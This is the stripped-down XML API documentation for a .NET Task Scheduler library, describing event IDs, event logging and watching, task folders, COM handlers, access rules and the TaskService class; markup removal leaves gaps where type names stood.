RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + 